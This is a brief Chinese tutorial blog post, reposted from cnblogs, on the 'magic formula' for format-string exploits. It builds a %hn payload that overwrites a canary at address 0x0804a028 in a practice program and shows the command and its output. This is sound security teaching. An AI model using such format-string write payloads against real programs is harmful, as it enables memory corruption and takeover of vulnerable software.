魔术公式表

将 0xbffffffa 写入内存 0x0804a028 地址,首先把值拆分:
两个高位字节(HOB): 0xbfff
两个低位字节(LOB): 0xffff

 

然后通过魔术计算公式构造一个格式化字符串:

"\x2a\xa0\x04\x08\x28\xa0\x04\x08 %.49143x%4\$hn%.16379x%5\$hn"

 

#  ./fmttest `printf "\x2a\xa0\x04\x08\x28\xa0\x04\x08"`%.49143x%4\$hn%.16379x%5\$hn
(这里省略一大堆输出)
Canary at 0x0804a028 = 0xbffffffa

  

示例成功的将canary的内容改为0xbffffffa 。

构建示例所用的公式请对照下图(魔术公式表):

 

参考:http://www.jianshu.com/p/f2acfeb66b6c
      

书籍:

Gray Hat Hacking, The Ethical Hacker’s Handbook. 3rd Ed.

Hacking, The Art of Exploitation. 2nd Ed.

 

转载于:https://www.cnblogs.com/amliaw4/p/6925396.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值